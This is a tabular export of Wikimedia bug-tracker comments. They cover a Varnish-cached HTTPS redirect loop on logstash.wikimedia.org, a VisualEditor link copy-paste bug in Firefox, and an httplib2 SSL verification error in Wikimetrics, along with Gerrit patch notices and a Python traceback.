https://gerrit.wikimedia.org/r/110393",,,1391103423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.181818181818182,0.8484848484848485,"Change 110393 abandoned by BryanDavis:
varnish: Add X-Forwarded-Proto to Vary on redirects

Reason:
Ori's workaround in Id2cc29f911fa36805320cdb606a5da1226c9d230 is less yucky

GERRIT_URL"
293830,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110396 merged by Ori.livneh:
kibana: Set Vary: X-Forwarded-Proto on HTTP -> HTTPS 301s

https://gerrit.wikimedia.org/r/110396",,,1391103412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.72,0.84,"Change 110396 merged by Ori.livneh:
kibana: Set Vary: X-Forwarded-Proto on HTTP -> HTTPS 301s

GERRIT_URL"
293822,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110396 had a related patch set uploaded by Ori.livneh:
kibana: Set Vary: X-Forwarded-Proto on HTTP -> HTTPS 301s

https://gerrit.wikimedia.org/r/110396",,,1391103383,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,33.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8,0.8666666666666667,"Change 110396 had a related patch set uploaded by Ori.livneh:
kibana: Set Vary: X-Forwarded-Proto on HTTP -> HTTPS 301s

GERRIT_URL"
293816,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110393 had a related patch set uploaded by BryanDavis:
varnish: Add X-Forwarded-Proto to Vary on redirects

https://gerrit.wikimedia.org/r/110393",,,1391100958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,31.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.9230769230769231,"Change 110393 had a related patch set uploaded by BryanDavis:
varnish: Add X-Forwarded-Proto to Vary on redirects

GERRIT_URL"
293813,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"(In reply to comment #4)
> Can X-Forwarded-Proto by used with a Vary header?

*be used",,,1390935461,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,"(In reply to comment #4)
QUOTE

*be used"
293809,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,Can X-Forwarded-Proto by used with a Vary header?,,,1390935448,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,38.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.9230769230769231,Can X-Forwarded-Proto by used with a Vary header?
293805,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"I think there are two possible solutions to this:

1. Send a Cache-Control header along with the 301 response to keep Varnish from caching the redirect
2. Add the X-Forwarded-Proto header to the hash inside Varnish

    sub vcl_hash {
      if (req.http.X-Forwarded-Proto) {
        set req.hash += req.http.X-Forwarded-Proto;
      }
    }",,,1390934588,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,20.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,1.0,11.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,6.0,3.75,0.675,"I think there are two possible solutions to this:

1. Send a Cache-Control header along with the 301 response to keep Varnish from caching the redirect
2. Add the X-Forwarded-Proto header to the hash inside Varnish

    sub vcl_hash {
      if (req.http.X-Forwarded-Proto) {
        set req.hash += req.http.X-Forwarded-Proto;
      }
    }"
293801,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"It looks like Varnish is caching the 301 response under some circumstances:

    < HTTP/1.1 301 Moved Permanently
    < Server: nginx/1.1.19
    < Date: Mon, 27 Jan 2014 21:12:13 GMT
    < Content-Type: text/html; charset=iso-8859-1
    < Transfer-Encoding: chunked
    < Connection: keep-alive
    < Location: https://logstash.wikimedia.org/
    < Vary: Accept-Encoding
    < X-Varnish: 2005611465 2005610948
    < Age: 102
    < Via: 1.1 varnish
    < X-Cache: cp1044 hit (450)

Maybe a cache-control header needs to be added when sending the 301 to switch protocols?",,,1390857464,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.5,17.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.5,4.0,10.0,1.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,8.0,3.8379416282642085,0.695852534562212,"It looks like Varnish is caching the 301 response under some circumstances:

    < HTTP/1.1 301 Moved Permanently
    < Server: nginx/1.1.19
    < Date: Mon, 27 Jan 2014 21:12:13 GMT
    < Content-Type: text/html; charset=iso-8859-1
    < Transfer-Encoding: chunked
    < Connection: keep-alive
    < Location: URL
    < Vary: Accept-Encoding
    < X-Varnish: 2005611465 2005610948
    < Age: 102
    < Via: 1.1 varnish
    < X-Cache: cp1044 hit (450)

Maybe a cache-control header needs to be added when sending the 301 to switch protocols?"
293798,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,Ori suggested assigning to Faidon for triage/resolution.,,,1390850285,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,1.0,Ori suggested assigning to Faidon for triage/resolution.
62379,Internal link turned into a full http link after copy paste from another VE in FireFox,"Steps to reproduce:

1.Open the Visual Editor for a page which contains an internal link with FireFox

2.Copy the link and paste it into another VE

3.Save the page.

Observed Result:
After copy a ""[[example|example]]"" link, when pasting the link is turned into a ""[[https://fr.wikipedia.org/example|example]]"" link.
It appears as follows: https://fr.wikipedia.org/w/index.php?title=Utilisateur:NemesisIII/Brouillon&diff=100540861&oldid=100181721

With Firefox 28, at least on fr.wp . (Sorry for my bad English)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1390514040,1390515118.0,PHID-USER-4cgt73x34j35pnbem65l,False,,False,PHID-TASK-dfa2ksgclzdlydh5yymo,task_description,resolved,True,c3,1,False,False,True,-75,True,0.0,0.0,0.0,1.0,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,1.0,12.5,0.5,0.5,5.5,0.0,0.0,0.0,0.0,1.5,1.0,1.5,0.0,2.5,8.0,6.0,0.0,2.0,0.0,2.5,0.0,1.0,2.5,0.0,0.5,0.0,1.0,3.5,3.586303284416492,0.7194269741439552,"Steps to reproduce:

1.Open the Visual Editor for a page which contains an internal link with FireFox

2.Copy the link and paste it into another VE

3.Save the page.

Observed Result:
After copy a ""[[example|example]]"" link, when pasting the link is turned into a ""[[URL link.
It appears as follows: URL

With Firefox 28, at least on fr.wp . (Sorry for my bad English)

--------------------------
**Version**: unspecified
**Severity**: normal"
287874,Internal link turned into a full http link after copy paste from another VE in FireFox,"

*** This bug has been marked as a duplicate of bug 58902 ***",,,1390515118,,PHID-USER-4cgt73x34j35pnbem65l,False,,,PHID-TASK-dfa2ksgclzdlydh5yymo,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 58902 ***"
62095,find a way to automatically install a version of httplib2 that works with MediaWiki,"**Author:** `sumanah`

**Description:**
I'm already logged into meta.wikimedia.org. On metrics.wmflabs.org, if I try to log in by clicking the meta.wikimedia.org logo, the OAuth authorization step goes smoothly.

But on my own local installation of Wikimetrics, in my dev environment running git master, if I try to log in by clicking the meta.wikimedia.org logo, I get an error. (Login via Google goes fine.)



httplib2.SSLHandshakeError

SSLHandshakeError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Traceback (most recent call last)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1701, in __call__

    return self.wsgi_app(environ, start_response)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1689, in wsgi_app

    response = self.make_response(self.handle_exception(e))

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1687, in wsgi_app

    response = self.full_dispatch_request()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1360, in full_dispatch_request

     [Display the sourcecode for this frame]  [Open an interactive python shell in this frame] rv = self.handle_user_exception(e)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1358, in full_dispatch_request

    rv = self.dispatch_request()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1344, in dispatch_request

    return self.view_functions[rule.endpoint](**req.view_args)

    File ""/home/sumanah/test/wikimetrics/wikimetrics/controllers/authentication.py"", line 103, in login_meta_mw

    redirector = meta_mw.authorize()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 331, in authorize

    token = self.generate_request_token(callback)[0]

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 296, in generate_request_token

    self.request_token_params)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 108, in request_new_token

    body=body, headers=headers)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1570, in request

    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1317, in _request

    (response, content) = self._conn_request(conn, request_uri, method, body, headers)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1252, in _conn_request

    conn.connect()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1044, in connect

    raise SSLHandshakeError(e)

    SSLHandshakeError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1389810240,1391013153.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5k7ae4lvmefpxeskdp47,task_description,resolved,True,c3,1,False,False,True,-77,True,0.0,0.0,0.0,0.0,0.0,1.7142857142857142,0.0,0.0,0.0,0.2857142857142857,2.5714285714285716,0.14285714285714285,0.0,0.0,0.0,0.8571428571428571,0.0,0.5714285714285714,4.714285714285714,0.0,0.2857142857142857,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2857142857142857,0.2857142857142857,0.0,0.0,0.0,1.1428571428571428,0.0,0.0,0.0,0.0,0.0,22.285714285714285,0.0,0.2857142857142857,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.8571428571428571,0.0,6.0,0.2857142857142857,0.14285714285714285,1.2857142857142858,0.0,0.0,0.0,0.0,1.1428571428571428,0.0,4.571428571428571,0.0,0.8571428571428571,4.714285714285714,7.285714285714286,0.0,4.0,0.0,0.8571428571428571,0.0,0.0,0.2857142857142857,0.0,0.42857142857142855,0.0,0.5714285714285714,1.7142857142857142,4.763975155279503,0.4627329192546585,"**Author:** CODE

**Description:**
I'm already logged into meta.wikimedia.org. On metrics.wmflabs.org, if I try to log in by clicking the meta.wikimedia.org logo, the OAuth authorization step goes smoothly.

But on my own local installation of Wikimetrics, in my dev environment running git master, if I try to log in by clicking the meta.wikimedia.org logo, I get an error. (Login via Google goes fine.)



httplib2.SSLHandshakeError

SSLHandshakeError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
Traceback (most recent call last)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1701, in __call__

    return self.wsgi_app(environ, start_response)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1689, in wsgi_app

    response = self.make_response(self.handle_exception(e))

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1687, in wsgi_app

    response = self.full_dispatch_request()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1360, in full_dispatch_request

     [Display the sourcecode for this frame]  [Open an interactive python shell in this frame] rv = self.handle_user_exception(e)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1358, in full_dispatch_request

    rv = self.dispatch_request()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1344, in dispatch_request

    return self.view_functions[rule.endpoint](**req.view_args)

    File ""/home/sumanah/test/wikimetrics/wikimetrics/controllers/authentication.py"", line 103, in login_meta_mw

    redirector = meta_mw.authorize()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 331, in authorize

    token = self.generate_request_token(callback)[0]

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 296, in generate_request_token

    self.request_token_params)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 108, in request_new_token

    body=body, headers=headers)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1570, in request

    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1317, in _request

    (response, content) = self._conn_request(conn, request_uri, method, body, headers)

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1252, in _conn_request

    conn.connect()

    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1044, in connect

    raise SSLHandshakeError(e)

    SSLHandshakeError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

--------------------------
**Version**: unspecified
**Severity**: normal"
286419,find a way to automatically install a version of httplib2 that works with MediaWiki,"I tried that, and even though I was using --allow-remote httplib2 and --allow-unverified httplib2, pip didn't seem to want to install from that remote.  If you'd like to give it a shot, patches are always welcome - I'm kind of a dunce when it comes to this configuration / setup stuff.",,,1391018866,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,12.0,0.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,6.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,9.0,12.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,3.671875,0.734375,"I tried that, and even though I was using --allow-remote httplib2 and --allow-unverified httplib2, pip didn't seem to want to install from that remote.  If you'd like to give it a shot, patches are always welcome - I'm kind of a dunce when it comes to this configuration / setup stuff."
286414,find a way to automatically install a version of httplib2 that works with MediaWiki,"Change 110200 merged by Milimetric:
Fix Bug: 60095

https://gerrit.wikimedia.org/r/110200",,,1391018666,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,0.9230769230769231,"Change 110200 merged by Milimetric:
Fix Bug: 60095

GERRIT_URL"
286409,find a way to automatically install a version of httplib2 that works with MediaWiki,"If you explicitly require version httplib2-0.8-pywikibot1 (i.e. httplib2==0.8-pywikibot1), any already installed versions should be ignored.",,,1391014981,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,True,,,-75,True,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.04,0.88,"If you explicitly require version httplib2-0.8-pywikibot1 (i.e. httplib2==0.8-pywikibot1), any already installed versions should be ignored."
286402,find a way to automatically install a version of httplib2 that works with MediaWiki,"Thanks a lot for the help Merlijn van Deen.  I'm closing this bug for now because the install script seems to handle things a little better than pip, even with the dependency_links set up like you have them.  Basically, if httplib2 is already installed, only uninstalling it and checking pip freeze, then installing the correct one is guaranteed to get you set up properly.",,,1391013153,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,11.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,7.0,3.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,15.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,1.0,5.0,1.0,0.0,0.0,4.1891891891891895,0.7702702702702703,"Thanks a lot for the help Merlijn van Deen.  I'm closing this bug for now because the install script seems to handle things a little better than pip, even with the dependency_links set up like you have them.  Basically, if httplib2 is already installed, only uninstalling it and checking pip freeze, then installing the correct one is guaranteed to get you set up properly."
286394,find a way to automatically install a version of httplib2 that works with MediaWiki,"Change 110200 had a related patch set uploaded by Milimetric:
Fix Bug: 60095

https://gerrit.wikimedia.org/r/110200",,,1391013008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.9444444444444444,"Change 110200 had a related patch set uploaded by Milimetric:
Fix Bug: 60095

GERRIT_URL"
286391,find a way to automatically install a version of httplib2 that works with MediaWiki,"See https://github.com/wikimedia/pywikibot-core/blob/master/setup.py#L68 (line 68) for how to do this from setup.py.

You can also install the ubuntu python-httplib2 package centrally, as that one uses the system certificate store.

